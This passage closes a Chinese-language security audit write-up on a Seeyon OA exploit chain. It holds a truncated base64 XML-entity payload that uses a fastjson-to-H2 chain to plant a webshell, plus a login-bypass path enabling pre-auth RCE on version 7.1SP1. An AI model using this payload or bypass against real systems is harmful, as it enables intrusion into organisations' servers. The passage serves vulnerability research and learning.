52Ym5SbGVIUXVjSFZ6YUVKdlpIa29LVHNLSlQ0PVwiXFw7U3RyaW5nIGRlY29kZVN0cmluZyA9IG5ldyBTdHJpbmcoamF2YS51dGlsLkJhc2U2NC5nZXREZWNvZGVyKCkuZGVjb2RlKHMpLFwiVVRGLThcIilcXDtwcmludFdyaXRlcjIucHJpbnRsbihkZWNvZGVTdHJpbmcpXFw7cHJpbnRXcml0ZXIyLmNsb3NlKClcXDt9JCRcXDtTRUxFQ1Qgc2hlbGw4KClcXDsiLAoJCX0sCgkJImxhbmd1YWdlIjp7IkB0eXBlIjoiamF2YS5sYW5nLlN0cmluZyJ7IiRyZWYiOiIkIn0KCX19IiJ9" >
]>
<name>&name;</name>

提交,停顿一会,就会在致远的ROOT路径下生成webshell。

image-20231006172248857 image-20231006172303209

当然,致远的/workflow/designer.do接口是需要登录才能访问的。

image-20231006172604893

在致远7.1SP1这个版本,可通过/seeyon/autoinstall.do/..;/workflow/designer.do绕过登录权限校验实现前台RCE,具体原理暂时就先不分析。

image-20231006172806851

总结

这次分析的致远这套组合拳漏洞利用单从实战上来说,目前能打的只有在内网了。不过从学习的角度来说,确实能让我这个审计新手能学到了很多。分析的时候遇到的许多问题,如fastjson 打 h2 的利用链这条链,也是多亏pockyray师傅的指点迷津,才能迎刃而解,感谢师傅。